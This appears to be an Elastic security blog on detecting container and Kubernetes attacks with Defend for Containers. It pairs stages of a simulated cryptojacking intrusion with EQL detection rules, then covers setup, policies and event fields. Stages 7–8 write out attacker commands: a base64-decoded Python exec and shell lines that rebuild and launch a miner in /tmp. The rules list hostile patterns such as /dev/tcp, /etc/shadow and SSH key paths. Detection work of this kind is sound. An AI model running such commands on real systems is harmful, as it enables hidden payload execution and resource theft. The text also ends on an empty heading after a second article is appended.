• Tunneling and/or Port Forwarding Detected via Defend for Containers

Resulting in the following detection alerts upon tunneling and proxy access:

Detecting tunneling is important because it often marks the transition from short-lived compromise to sustained attacker presence. When correlated with earlier stages, it provides strong confirmation of intentional, ongoing abuse rather than opportunistic execution.

Stage 7 – Encoded payload execution

To obscure payload logic, the attacker executes a base64-encoded payload directly via Python:

python3 -c "exec(base64.b64decode('<payload>').decode())"

This technique reduces visibility into the payload itself but introduces distinctive execution characteristics: encoded arguments passed directly to an interpreter in an interactive session.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (process.name in (
    "base64", "base64plain", "base64url", "base64mime", "base64pem",
    "base32", "base16"
    ) and process.args like~ "*-*d*"
  ) or
  (process.name == "xxd" and process.args like~ ("-*r*", "-*p*")) or
  (process.name == "openssl" and process.args == "enc" and
   process.args in ("-d", "-base64", "-a")
  ) or
  (process.name like "python*" and (
    (process.args == "base64" and process.args in ("-d", "-u", "-t")) or
    (process.args == "-c" and process.args like "*base64*" and
     process.args like "*b64decode*")
    )
  ) or
  (process.name like "perl*" and process.args like "*decode_base64*") or
  (process.name like "ruby*" and process.args == "-e" and
   process.args like "*Base64.decode64*"
  )
) and container.id like "?*"

There are many ways to decode a payload, but the umbrella rule shown above captures the most commonly observed techniques.

The detection rules that triggered in this stage are available here:

• Encoded Payload Detected via Defend for Containers
• Suspicious Interpreter Execution Detected via Defend for Containers
• Decoded Payload Piped to Interpreter Detected via Defend for Containers

Resulting in the following detection alerts upon execution:

Stage 8 – Miner deployment and execution

Eventually, the attacker reconstructs a miner from base64, writes it to disk, makes it executable, and launches it:

/bin/sh -c "printf IyEvYmlu<<TRUNCATED>>>***** >> /tmp/miner.b64"
/bin/sh -c "base64 -d /tmp/miner.b64 > /tmp/miner && chmod +x /tmp/miner && rm /tmp/miner.b64"

This stage represents the shift from setup to monetization. The attacker is now actively abusing cluster resources.

As mentioned previously, D4C will detect decoding of the base64 payload using the same rule linked in the previous stage. Three other signals that are important to detect are the creation of a base64 encoded payload, file permission changes in specific directories, and execution of newly created binaries in temporary directories.

For the creation of base64 encoded payloads, an umbrella rule was created that detects the execution of a shell with echo/printf built-ins, and a whitelist of commonly abused command lines:

process where event.type == "start" and event.action == "exec" and 
process.interactive == true and process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"
) and process.args == "-c" and process.args like ("*echo *", "*printf *") and 
process.args like (
  "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*",
  "*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", 
  "*base32 *", "*base16 *", "*/etc/profile*", "*/dev/shm/*", "*/etc/ssh*", 
  "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*xxd *", "*/etc/shadow*",
  "* /tmp/*", "* /var/tmp/*", "* /dev/shm/* ", "* ~/*", "* /home/*",
  "* /run/*", "* /var/run/*", "*|*sh", "*|*python*", "*|*php*", "*|*perl*",
  "*|*busybox*", "*/var/www/*", "*>*", "*;*", "*chmod *", "*rm *" 
) and container.id like "?*"

Especially for interactive processes, the following detection rule is a high signal.

The second piece of the flow relates to the file permission changes. Not all file permission changes are malicious, but detecting file permission changes to executable files in world-writeable directories via an interactive process within a container is not expected to occur frequently.

any where event.category in ("file", "process") and
event.type in ("change", "creation", "start") and (
  process.name == "chmod" or
  (
    /*
    account for tools that execute utilities as a subprocess,
    in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod"
    )
  )
) and process.args in ("4755", "755", "777", "0777", "444", "+x", "a+x") and
container.id like "?*"

Note that we leverage the file and process event categories here. The reason for this is that D4C captures these changes through file events if set specifically in the policy, but by default will capture these process executions when set to detect execve calls.

The final piece of this chain relates to the execution of binaries in world-writeable locations. Most container runtimes will not execute payloads from these directories.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  process.executable like (
    "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*",
    "/mnt/*", "/media/*", "/boot/*"
  ) or
  // Hidden process execution
  process.name like ".*"
) and container.id like "?*"

Note that the rule also captures hidden process executions. This is a technique commonly observed by threat actors as well, as they may attempt to evade detection by marking processes as hidden.

The detection rules that triggered in this stage are available here:

• File Execution Permission Modification Detected via Defend for Containers
• Suspicious Echo or Printf Execution Detected via Defend for Containers
• Suspicious Process Execution Detected via Defend for Containers

Resulting in the following detection alerts upon miner deployment and execution:

Stage 9 – Escalation to Node Control

Once the attacker has a foothold inside a container and access to an overprivileged service account, the next step is to abuse the Kubernetes control plane itself. This stage moves the attack beyond a single container and into cluster-wide impact. This activity is detected via Kubernetes audit logs. The Kubernetes audit log rules surfaced by this intrusion fall into three distinct patterns.

Stage 9.1 – Reconnaissance & API Abuse

The attacker's kube.py script uses the stolen service account token to enumerate pods, secrets, and nodes across all namespaces. From Kubernetes' perspective, this looks like a single identity making a burst of API calls across multiple resource types, a pattern that maps directly to permission enumeration detection logic. The use of Python's urllib rather than kubectl is also unusual as an API client.

The detection rules that triggered in this stage are available here:

• Kubernetes Potential Endpoint Permission Enumeration Attempt Detected
• Direct Interactive Kubernetes API Request by Unusual Utilities

Resulting in the following detection alerts upon reconnaissance and API abuse:

Stage 9.2 – Privilege Escalation & Workload Manipulation

With enumeration complete, the attacker creates a privileged DaemonSet (system-monitor) and relies on the overprivileged ClusterRole that was bound to the compromised service account. Both the workload creation and the role that enabled it are flagged: the DaemonSet as a sensitive workload modification, and the ClusterRole binding as a sensitive role granting broad permissions, including pods/exec, secret access, and DaemonSet creation.

The detection rules that triggered in this stage are available here:

• Unusual Kubernetes Sensitive Workload Modification
• Kubernetes Creation or Modification of Sensitive Role

Resulting in the following detection alerts upon privilege escalation and workload manipulation:

Stage 9.3 – Node-Level Escape

The DaemonSet's pod spec is designed to break every isolation boundary a container normally provides. It requests privileged mode, attaches to the host network and PID namespace, and mounts the node's root filesystem. Each of these properties triggers a separate detection rule, and together they paint a clear picture of a container workload engineered for node escape.

The detection rules that triggered in this stage are available here:

• Kubernetes Pod Created with a Sensitive hostPath Volume
• Kubernetes Privileged Pod Created
• Kubernetes Pod Created With HostNetwork
• Kubernetes Pod Created With HostPID

Resulting in the following detection alerts upon node-level escape:

These three sub-stages also highlight a key boundary in container-focused detection. While D4C excels at observing what happens inside containers, identifying how and why those containers were created requires Kubernetes control-plane telemetry. In a follow-up “Kubernetes Detection Engineering” series, we will focus on correlating D4C runtime events with Kubernetes Audit logs to detect multi-stage attacks that span workload creation, privilege escalation, and node-level impact.

For anyone already familiar with Kubernetes audit logs or interested in learning more about them, we have several prebuilt detection rules available that leverage the Kubernetes audit log framework in our GitHub detection-rules repository.

Stage 10 – Web Server Exploitation via React2Shell

In addition to exploiting compromised containers and Kubernetes control paths, TeamPCP also leverages direct web server exploitation to gain shell access on exposed services. One of the techniques referenced in related campaigns is React2Shell, where vulnerable web applications are abused to achieve remote command execution and drop into an interactive shell.

The attacker’s objective here is straightforward: expand access beyond Kubernetes workloads and increase the number of entry points into the environment. Web-facing services are often less strictly isolated than containers and can provide a fast path to host-level compromise if left unpatched.

From a detection standpoint, this activity is already well covered. Elastic provides an umbrella web server exploitation detection that flags suspicious command execution patterns originating from web server processes. In addition, multiple host-based Linux detections identify post-exploitation behavior following successful web shell access, such as unexpected shell execution, command interpreters launched by web services, and follow-on tooling execution.

Detecting this stage is important because it represents an alternative ingress path that bypasses container-specific defenses entirely. When correlated with earlier D4C detections, React2Shell-style exploitation helps confirm that the attacker is actively pursuing multiple avenues of access, increasing both blast radius and persistence potential.

The detection rule that triggered in this stage is available here:

• Web Server Exploitation Detected via Defend for Containers

Resulting in the following detection alerts upon web server exploitation:

What makes this scenario effective as a detection exercise is that every major objective of the attacker (execution, persistence, propagation, and monetization) manifests as runtime behavior inside containers. D4C's ability to observe that behavior in context allows detection engineers to follow the attack as it unfolds, rather than discovering it only after the damage is done.

Tying It All Together with Attack Discovery

Running individual detection rules across container runtime and Kubernetes audit telemetry produces dozens of alerts, each highlighting a single suspicious action in isolation. A defender reviewing these one by one would see a privileged pod here, a curl | bash there, and a burst of API enumeration somewhere else. The challenge is not generating alerts; it is recognizing that these 130+ signals are all part of the same operation.

This is where Attack Discovery comes in. Attack Discovery is Elastic's generative AI capability that ingests a set of alerts and automatically correlates them into coherent attack narratives. Rather than forcing an analyst to manually pivot between individual alerts, it identifies which signals belong together and maps them to the MITRE ATT&CK framework, producing a single, readable summary of what happened.

When pointed at the alerts generated by this simulation, Attack Discovery correctly reconstructed the full TeamPCP kill chain as a “Container Cryptojacking Attack Chain”. The summary identified:

• Initial Access: Web server exploitation on the victim node, where busybox spawned from python3.11 and executed reconnaissance commands (id, whoami, uname -a, cat /etc/passwd)
• Privilege Escalation: The system:serviceaccount:kube-system:daemon-set-controller is creating highly privileged pods with HostPID, HostNetwork, privileged mode, and sensitive hostPath volume mounts
• Defense Evasion: Competitor cryptominer cleanup via pkill -9 xmrig and pkill -9 XMRig, alongside base64-encoded Python payloads
• Tool Staging: Runtime package installation (apk, curl, bash, python3) and malicious script download via curl from the simulated C2 server
• C2 Infrastructure: Deployment of tunneling tools gost and frpc under /opt/teampcp, with a SOCKS5 proxy listening on port 1081
• Impact: A decoded and staged /tmp/miner binary: the cryptojacking objective

The attack chain visualization maps the correlated alerts across the full MITRE ATT&CK kill chain, from Initial Access through to Impact, with confirmed activity in Execution, Privilege Escalation, Defense Evasion, Discovery, and Command & Control.

This is the payoff of combining D4C runtime telemetry with Kubernetes audit logs. Neither data source alone would produce this picture: container runtime sees the curl | bash, the gost process, and the miner binary, while the audit logs capture the DaemonSet creation, the RBAC abuse, and the API enumeration. Attack Discovery fuses both into a single narrative that a SOC analyst can act on immediately, without manually stitching together alerts across different indices and timeframes.

Conclusion

Across this attack chain, we observed a consistent pattern. Interactive execution within containers led to environment discovery, lateral movement via Kubernetes APIs, attempts at persistence in locations inconsistent with container design, installation of runtime tooling, tunneling activity, reconstruction of encoded payloads, and, finally, resource monetization. Each objective produced distinct runtime signals.

Defend for Containers’ value lies in surfacing these signals with the container and orchestration context attached. Process lineage, capability metadata, interactive execution flags, file modification telemetry, and container identity together allow detections to move beyond simple command matching and instead reason about intent and impact.

This scenario also highlights an important architectural boundary. While D4C provides deep runtime visibility inside containers, certain escalation steps, such as privileged workload creation or control-plane manipulation, require Kubernetes audit log telemetry for full visibility. Effective cloud-native detection, therefore, depends on combining runtime and control-plane data sources.

In the next phase of this series, we will extend this model beyond the container boundary and explore Kubernetes control-plane detection engineering, correlating audit logs with D4C runtime events to detect multi-stage attacks that span workloads, nodes, and the cluster itself.

Linux systems remain a critical foundation for modern infrastructure, particularly in cloud-native environments where containers and orchestration platforms are the norm. As workloads move from long-lived hosts to ephemeral containers, attacker tradecraft shifts as well. Activity that once left persistent artifacts on disk is increasingly confined to short-lived, runtime behavior that can be difficult to capture using traditional log sources.

Detection engineering in these environments, therefore, depends heavily on runtime visibility. Understanding how processes execute inside containers, how files are accessed, and how workloads interact with the host becomes more important than relying on static indicators or post-incident artifacts.

Elastic provides several Linux-focused telemetry sources to support this type of detection work. In earlier posts in this series, we focused on host-level visibility using Auditd and Auditd Manager, showing how low-level system events can be translated into high-fidelity detections. In this post, the focus shifts to Elastic’s Defend for Containers: a runtime security integration built specifically for containerized Linux workloads.

The goal of this article is not to document every Defend for Containers feature, but to provide a practical starting point for detection engineers: what data the integration produces and how to reason about that data. In the next part, we will look into how it can be applied to realistic container attack scenarios.

Streamlined visibility with Defend for Containers

We are excited to announce the arrival of Defend for Containers in the 9.3.0 release. This integration brings a streamlined approach to container security, offering a strong foundation for visibility in cloud-native infrastructures. Users can leverage a suite of detection rules tailored to defend against modern Kubernetes threats and container-specific vulnerabilities. The arrival of Defend for Containers is accompanied by a container-specific detection ruleset, designed around realistic container and Kubernetes threat models.

At the time of writing, the Defend for Containers ruleset provides baseline coverage for common container attack techniques, including reconnaissance activity, credential access attempts, kubelet attacks, service account token abuse, interactive process execution, file creation and modification, interpreter abuse, encoded payload execution, tooling installation, tunneling behavior, and multiple privilege escalation vectors. Importantly, all existing container- and Kubernetes-specific detection rules have been made compatible with Defend for Containers, allowing previously host-centric logic to operate directly on container runtime telemetry.

This makes Defend for Containers a practical and immediately usable data source for Linux detection engineers focused on behavior-driven runtime detection. The remainder of this post focuses on how that telemetry looks in practice and how it can be applied to real-world container attack scenarios.

Introduction to Defend for Containers

Defend for Containers is a runtime security integration that provides visibility into Linux containers as they execute. Instead of relying on static image scanning or post-execution logs, it focuses on observing container behavior in real time.

At a high level, Defend for Containers captures security-relevant runtime events from running containers, such as process execution and file access. These events are enriched with container and orchestration context and shipped into Elasticsearch, where they can be analyzed and used as input for detection rules.

From a detection engineering perspective, Defend for Containers sits at the intersection of traditional Linux behavior and the container context. Processes, syscalls, and file activity remain core signals, but they are now scoped to containers, namespaces, and workloads that may only exist briefly.

Defend for Containers is deployed as part of the Elastic Agent and integrates directly with Elastic Security. Once enabled, it provides a dedicated stream of container runtime events that can be queried using KQL or ES|QL, or consumed directly by detection analytics. This allows detection engineers to apply familiar analysis techniques while accounting for the operational realities of cloud-native workloads.

In the sections that follow, we will examine Defend for Containers events in more detail and walk through several container attack scenarios to illustrate how this data can be used in practice.

Defend for Containers setup

Before you can take advantage of Defend for Containers' runtime visibility and analytics, you need to deploy the integration and configure a policy that defines which events to observe and what actions to take when matching activity is encountered. More information about the integration and its setup can be found here. At a high level, this setup consists of:

1. Deploying the Defend for Containers integration via Elastic Agent in your Kubernetes environment.
2. Configuring or customizing the Defend for Containers policy, which consists of selectors that define which operations to match and responses that define what actions to take.
3. Validating and refining the policy based on observed workload behavior.

Deployment methods

Defend for Containers is delivered as an Elastic Agent integration and relies on Elastic Agent to collect and forward container runtime telemetry into your Elastic Stack. For Kubernetes workloads, you install the integration via the Elastic Security UI and then enroll agents on your cluster nodes.

The basic deployment flow is:

In the Elastic Security UI, navigate to Fleet and create a new Agent Policy (or add the integration to an existing one). Once the Agent Policy is created, we can add the “Defend for Containers” integration to the policy.

Give the integration a name and optionally adjust the default selectors and responses (we will look into the available options further down in this publication). Once “Add integration” is selected, a new Agent Policy with the correct integration should be available.

For this demonstration, we will leverage the Kubernetes deployment method. To deploy this policy to a workload, we can navigate to Actions → Add agent → Kubernetes. Here, we see instructions for copying or downloading the Kubernetes manifest.

An important note to be aware of is: “Note that the following manifest contains resource limits that may not be appropriate for a production environment. Review our guide on Scaling Elastic Agent on Kubernetes before deploying this manifest.”

You will need to include the following capabilities under securityContext in your Kubernetes YAML for the service to work:

securityContext:
    runAsUser: 0
    capabilities:
      add:
        - BPF ## Enables both BPF & eBPF
        - PERFMON
        - SYS_RESOURCE

After copying or downloading the provided elastic-agent-managed-kubernetes.yml manifest, you can edit the manifest as needed, and apply the manifest with:

kubectl apply -f elastic-agent-managed-kubernetes.yml

As also mentioned in the manifest, review the guide “Run Elastic Agent on Kubernetes managed by Fleet” for more deployment information.

Wait for the Elastic Agent pods to schedule and for data to begin flowing into Elasticsearch.

Once deployed, Elastic Agent will establish a connection to Fleet, enroll under the selected policy, and begin emitting Defend for Containers telemetry that Elastic Security can consume.

In the next section, we will take a look at the integration configuration options and explore which features are available to use.

Defend for Containers policies

At the heart of Defend for Containers' configuration is the policy. Policies determine what activity to observe and how to respond when matching events occur. Policies are composed of two fundamental building blocks:

• Selectors: define which events are of interest by specifying operations and conditions;
• Responses: define what actions to take when a selector’s conditions are met.

Defend for Containers policies can be edited before deployment or modified post-deployment via the Elastic Security UI’s policy editor.

Policy structure

Each policy must contain at least one selector and at least one response. A typical selector specifies one or more operations (such as process events or file activities) and uses conditions (like container image name, namespace, or pod label) to narrow the scope. Responses reference selectors and indicate what action to take when events match.

The default Defend for Containers policy includes two selector-response pairs: “Threat Detection” and “Drift Detection & Prevention”.

Threat detection: A selector named allProcesses matches all fork and exec events from containers.

And the associated response has the action set to Log, ensuring that events are ingested and can be analyzed.

Drift detection & prevention: A selector named executableChanges matches createExecutable and modifyExecutable operations.

And the response is configured to create alerts (and can be modified to block those operations).

These can be modified via the UI, but under the hood, these policies are simple YAML configuration files that can be easily modified and used in any CI|CD flows:

process:
  selectors:
    - name: allProcesses
      operation:
        - fork
        - exec
  responses:
    - match:
        - allProcesses
      actions:
        - log
file:
  selectors:
    - name: executableChanges
      operation:
        - createExecutable
        - modifyExecutable
  responses:
    - match:
        - executableChanges
      actions:
        - alert

Next, we will take a look at some example selectors and responses and discuss the options you have for setting up the integration to your liking.

Example selector snippet

Selectors allow fine-grained matching using conditions on fields such as:

• containerImageFullName: full image names like docker.io/nginx;
• containerImageName: partial image names;
• containerImageTag: specific tags like latest;
• kubernetesClusterId: Kubernetes cluster IDs;
• kubernetesClusterName: Kubernetes cluster names;
• kubernetesNamespace: namespaces where the workload runs;
• kubernetesPodName: pod names, with support for trailing wildcards;
• kubernetesPodLabel: label key/value pairs, with wildcard support.

selectors:
  - name: nodeExports
    file:
      operations:
        - createExecutable
        - modifyExecutable
      containerImageName:
        - "nginx"
      kubernetesNamespace:
        - "prod-*"

In this example, the selector named nodeExports matches file events that create or modify executables within containers whose image names contain “nginx” and whose Kubernetes namespace begins with “prod-”.

Example response snippet

Responses determine what happens when selector conditions are met. Common actions include:

• log: send the event as telemetry for analysis;
• alert: create an alert in Elastic Security;
• block: prevent the operation (for supported types).

responses:
  - name: alertAndBlockNodeExports
    matchSelectors:
      - nodeExports
    actions:
      - alert
      - block

Here, the response named alertAndBlockNodeExports references the previously defined nodeExports selector and will both generate an alert and block the operation.

Wildcards and matching

Selectors in Defend for Containers support trailing wildcards in string-based conditions (such as pod names or image tags). This allows broad matching without enumerating every possible value. For example, a pod selector of backend-* will match all pods whose names begin with backend-, while a label condition such as role:api* matches label values that start with api.

This wildcarding is essential in dynamic environments where workloads scale and shift rapidly.

In addition to simple string matching, Defend for Containers selectors also support path-based wildcard semantics when matching file paths. Consider the following selector example:

- name:
  targetFilePath:
    - /usr/bin/echo
    - /usr/sbin/*
    - /usr/local/**

In this example:

• /usr/bin/echo matches only the echo binary at that exact path.
• /usr/sbin/* matches everything that is a direct child of /usr/sbin.
• /usr/local/** matches everything recursively under /usr/local, including paths such as /usr/local/bin/something.

These distinctions make it possible to precisely scope file-based selectors, balancing coverage and noise. In practice, they allow detection engineers to target specific binaries, entire directories, or deep directory trees, depending on the use case, without resorting to overly permissive rules.

Tying it all together

Up to this point, we have looked at Defend for Containers selectors, wildcard semantics, event types, and how they surface attacker behavior at runtime. The final step is to understand how these pieces come together within a policy to express real detection logic.

Consider the following policy fragment:

file:
  selectors:
    - name: binDirExeMods
      operation:
        - createExecutable
        - modifyExecutable
      targetFilePath:
        - /usr/bin/**
    - name: etcFileChanges
      operation:
        - createFile
        - modifyFile
        - deleteFile
      targetFilePath:
        - /etc/**
    - name: nginx
      containerImageName:
        - nginx

  responses:
    - match:
        - binDirExeMods
        - etcFileChanges
      exclude:
        - nginx
      actions:
        - alert
        - block

This policy defines three selectors. Two selectors (binDirExeMods and etcFileChanges) describe file system activity of interest, while the third selector (nginx) describes a container context to exclude.

The response section ties these selectors together. The selectors listed under match are logically OR’d, meaning that either condition is sufficient to trigger the response. The selector listed under exclude acts as a logical NOT, removing matching events when the container image is nginx.

Read in plain language, the policy expresses the following logic:

If an executable is created or modified anywhere under /usr/bin, or a file is created, modified, or deleted under /etc, and the activity does not originate from an nginx container, then generate an alert and block the action.

In Boolean form, this can be expressed as:

IF (binDirExeMods OR etcFileChanges) AND NOT nginx
→ alert + block

This is where Defend for Containers policies become powerful. Rather than writing complex detection logic in a query language, selectors let you decompose behavior into small, reusable building blocks and then combine them declaratively. By mixing path-based selectors, operation types, container context, and exclusions, you can express nuanced detection logic that remains readable and maintainable.

In practice, this model allows detection engineers to translate threat hypotheses directly into policy logic: what behavior matters, where it occurs, in which workloads, and what should happen when it does.

Policy validation and refinement

Once a policy is deployed, it is critical to validate it against real workload behavior before enabling aggressive responses such as blocking. Policies that are too restrictive can disrupt normal container operations; policies that are too permissive may let unwanted activity go unnoticed.

A recommended workflow is:

1. Deploy the default policy in monitoring mode (e.g., with selectors logging events).
2. Observe the events that appear in Elasticsearch to understand normal workload patterns.
3. Incrementally tighten selectors and responses, moving from log only → alert → block, testing at each stage.
4. Use a staging or test cluster to validate blocking behaviors before applying them in production.

Defend for Containers Beta limitations

As of writing, Defend for Containers is available as a Beta integration, and its current capabilities and platform support reflect that status.

Defend for Containers formally supports Amazon EKS and Google GKE. While the integration can be deployed on Azure AKS, this configuration is not officially supported. In particular, AKS deployments currently lack file event telemetry, which limits detection coverage for file-based attack techniques in those environments.

The current Beta also does not capture network events. As a result, detections related to outbound connections, lateral network movement, or data exfiltration must rely on complementary data sources, such as the Network Packet Capture integration or Packetbeat integrations, rather than on Defend for Containers telemetry alone.

For file activity, Defend for Containers intentionally logs file open events only when opened with write intent. This design choice reduces noise and focuses on behavior that modifies the system state. However, it also means that read-only access to sensitive files, such as secret discovery, configuration scraping, or failed access attempts, is not currently observable.

This limitation impacts detection use cases such as:

• Searching and reading Kubernetes service account tokens,
• Scanning for .env files or credential material.

These are areas where future Defend for Containers iterations may provide more granular telemetry to support advanced detection engineering use cases.

Enabling the Defend for Containers pre-built detection rules

Defend for Containers ships with a set of pre-built detection rules that provide baseline coverage for common container attack techniques. Once the integration is enabled, these rules can be activated directly from Elastic Security without additional configuration.

Enabling the pre-built rules is recommended as a starting point, as they are designed to align with Defend for Containers' runtime telemetry and cover execution, file modification, persistence, and post-compromise behavior inside containers. From there, the rules can be extended or refined to match environment-specific workloads and threat models.

By filtering for “Data Source: Elastic Defend for Containers”, you can find all rules associated with this integration.

Note: if you do not see any rules pop up, make sure your stack is running version 9.3.0, as these rules are deployed only on 9.3.0+.

With all important Beta limitations mapped, the integration deployed, the pre-built detection rules installed and enabled, and a working policy in place, the next step is to explore the event semantics Defend for Containers produces, including fields commonly used in detection logic, performance considerations, and how these events differ from Elastic Defend events.

Analyzing Defend for Containers events

Now that Defend for Containers is deployed and policies are in place, the next step is understanding the events it generates. Similar to working with Elastic Defend or Auditd Manager, Defend for Containers telemetry becomes far more valuable once you develop a mental model of how events are structured and which fields are most relevant for detection engineering.

Defend for Containers produces multiple event types, most notably process events and file events, each enriched with container, host, and orchestration context. While the underlying signals remain rooted in Linux behavior, the additional Kubernetes and container metadata enable you to reason about activity in ways not possible with host-only telemetry.

The following sections walk through the most important field groups and event types, using real Defend for Containers events as reference points.

Common fields

Before diving into specific event categories, it is useful to understand the fields that consistently appear across Defend for Containers telemetry. These fields provide the contextual glue that ties individual runtime actions back to policies, selectors, and the underlying execution points inside the kernel.

While process and file events differ in their details, the fields described below are present across Defend for Containers data streams and are often the first place to look when validating detections or troubleshooting policy behavior.

Defend for Containers-specific context

Defend for Containers adds several fields specific to how events are collected and policies are applied.

The cloud_defend.hook_point field indicates where in the kernel the event was captured. In the example shown, values such as tracepoint__sched_process_fork and tracepoint__sched_process_exec reveal that the event was generated from kernel tracepoints associated with process creation and execution.

The cloud_defend.matched_selectors field shows which selectors in the active policy matched the event. In the example, the value allProcesses indicates that this event matched a broad selector that captures all process activity. When tuning policies or investigating alerts, this field is essential for understanding why an event was captured.

The cloud_defend.package_policy_id and cloud_defend.package_policy_revision fields tie the event back to a specific Elastic Agent policy and its revision. This makes it possible to correlate events with configuration changes over time and to verify which version of a policy was active when the event occurred.

Event metadata

Defend for Containers events follow the Elastic Common Schema conventions and include standard event metadata that describes the activity's type and lifecycle.

The event.category field identifies the high-level type of activity, such as process or file, and is typically the first field used when filtering Defend for Containers data. The event.action field describes what occurred, for example, fork or exec for process activity, or open, creation, modification, and deletion for file events.

The event.type field adds lifecycle context, such as start for process execution, and is often used together with event.action to distinguish different phases of activity. The event.dataset field indicates the originating Defend for Containers data stream, such as cloud_defend.process, which is useful when building dataset-scoped queries or detections.

Additional metadata fields like event.id, event.ingested, and event.kind are primarily used for correlation, ordering, and troubleshooting rather than detection logic.

Host information

Defend for Containers events include full host context, similar to Elastic Defend and Auditd Manager. This makes it possible to correlate container runtime activity back to the underlying Kubernetes node.

The host.name field identifies the node on which the container is running, while host.os.* provides operating system details such as distribution and kernel version. The host.architecture field indicates the CPU architecture, which can be relevant when analyzing binary execution or kernel-specific behavior.

One particularly useful field is host.pid_ns_ino, which identifies the PID namespace. This field allows container activity to be correlated with host-level process and kernel telemetry, and is especially valuable when investigating container escape attempts or node-level impact.

This host context is critical when analyzing cloud-native attacks, as multiple containers often share the same host and kernel, and a container's runtime behavior can have implications beyond its boundaries.

Container and orchestrator context

Defend for Containers' primary strength lies in its container awareness. Every runtime event is enriched with container and orchestration metadata, allowing activity to be analyzed in the context of what is running, where it is running, and with which privileges.

At the container level, fields such as container.id and container.name uniquely identify the running container, while container.image.name, container.image.tag, and the image hash provide visibility into the workload’s origin and version. This is especially useful for distinguishing between expected utility images and unexpected or ad hoc workloads.

A key field for risk assessment is container.security_context.privileged. This field explicitly indicates whether a container is running in privileged mode. When privileged execution is combined with other signals such as interactive shells or broad Linux capabilities, the risk profile of any detected activity increases significantly.

Defend for Containers also enriches events with orchestration context. Fields such as orchestrator.cluster.name, orchestrator.namespace, and orchestrator.resource.name (typically the Pod name) tie runtime behavior back to Kubernetes workloads. Labels exposed via orchestrator.resource.label further allow detections to incorporate workload intent and ownership.

For detection engineering, this context enables precise scoping of detections to:

• specific namespaces (for example, kube-system),
• privileged or high-risk containers,
• workloads with sensitive labels,
• or known utility images such as netshoot, kubectl, or curl.

This layer of enrichment allows container-aware detection logic to be expressed directly, without having to infer intent indirectly from filesystem paths, cgroups, or namespace identifiers.

Process events

Process execution is one of the most important signal types that Defend for Containers provides. Process events capture fork, exec, and end activities within containers and expose detailed lineage information critical to understanding how execution unfolds at runtime.

Several fields are particularly important for detection engineering. The combination of process.name and process.executable identifies what was executed and from where, while process.args provides insight into how it was invoked. Fields such as process.pid, process.start, process.end, and process.exit_code describe the process lifecycle and are useful for timing analysis and execution-flow reconstruction. The process.entity_id provides a stable identifier that allows processes to be tracked across multiple related events.

Defend for Containers also captures rich ancestry information. Fields under process.parent.* describe the immediate parent process, making it possible to detect suspicious parent–child relationships such as shells spawned by unexpected binaries. In addition, process.entry_leader.* and process.session_leader.* provide higher-level anchors within the process tree.

Much like Elastic Defend, Defend for Containers models processes as a graph rather than isolated events. The entry leader is especially useful in container environments, as it often represents the initial process launched by the container runtime (for example, containerd, runc, or a shell specified as the container entrypoint). Anchoring detections to the entry leader allows process trees to be interpreted consistently, even when containers spawn many short-lived child processes.

Session leader fields provide additional context about interactive execution and session boundaries, helping distinguish background services from interactive or attacker-driven activity.

Together, these fields make it possible to express detection logic that goes beyond single executions and instead reasons about execution chains, lineage, and intent, which is essential for detecting real-world container attack techniques.

Capabilities and privilege context

One of the more powerful aspects of the Defend for Containers process events is the inclusion of Linux capability information. For each process, Defend for Containers exposes both the effective and permitted capability sets via:

• process.thread.capabilities.effective
• process.thread.capabilities.permitted

These fields describe what a process is actually allowed to do at runtime, independent of its user ID or container boundary.

In privileged containers, processes often expose a broad set of effective capabilities, including highly sensitive ones such as CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_SYS_PTRACE, CAP_SYS_RAWIO, and CAP_BPF. The presence of these capabilities significantly changes the risk profile of any executed command, as they enable actions that can directly impact the host kernel or other workloads.

From a detection engineering perspective, this context is critical. It allows detections to move beyond simple process-name matching and instead reason about impact. The same binary execution can have vastly different implications depending on whether it runs with a minimal capability set or with near-host-level privileges.

In practice, capability data enables detection engineers to:

• Identify suspicious tooling executed inside overly permissive containers.
• Correlate runtime behavior with dangerous capability combinations.
• Prioritize alerts based on actual exploitation potential rather than surface-level activity.

This becomes especially relevant to container breakout research, where the presence or absence of specific capabilities often determines whether an exploit is viable.

Interactive execution

The process.interactive field indicates whether a process is associated with an interactive session. In container environments, interactive execution is relatively rare for production workloads and often correlates strongly with post-compromise or hands-on-keyboard activity.

Defend for Containers exposes interactivity not only at the process level, but also across related execution contexts, including process.parent.interactive, process.entry_leader.interactive, and process.session_leader.interactive. This makes it possible to determine whether an entire execution chain is interactive, rather than relying on a single process flag in isolation.

Common examples of interactive execution within containers include spawning a bash or sh shell, running interactive utilities such as curl, kubectl, or busybox, or operator-driven reconnaissance within a compromised Pod. While these actions may be legitimate during debugging, they are uncommon in steady-state production workloads.

When combined with container image, namespace, and privilege context, interactive execution becomes a strong anomaly signal. It allows detection logic to distinguish between expected automated container behavior and activity more consistent with manual intervention or attacker-driven exploration.

File events

Defend for Containers file events capture filesystem activity inside containers, and are emitted for a variety of operations. Unlike traditional file integrity monitoring, these events are runtime-aware and scoped to container workloads, providing context about how and why file changes occur.

Defend for Containers can detect file activity such as file opens with write intent, content modifications, file creations, renames, permission changes, and deletions. By focusing on write-oriented operations, Defend for Containers emphasizes behavior that alters system state rather than passive file access.

This allows detection engineers to reason about file usage patterns at runtime, not just the result of a change.

Several fields are particularly important when building file-based detections. The file.path and file.name fields identify the affected file and its location, while file.extension can help distinguish binaries, scripts, and configuration files. The event.action and event.type fields describe what operation occurred and how it should be interpreted in the event lifecycle.

Together, these fields allow Defend for Containers to distinguish benign file access from suspicious modification patterns, such as writing binaries or changing permissions within sensitive directories.

Bringing it together

As with any other data source, Defend for Containers telemetry becomes truly valuable once you understand how to combine fields across the process, file, container, and orchestration domains. Rather than relying on static indicators, Defend for Containers enables detection engineering based on runtime behavior, privilege context, and workload identity.

Conclusion

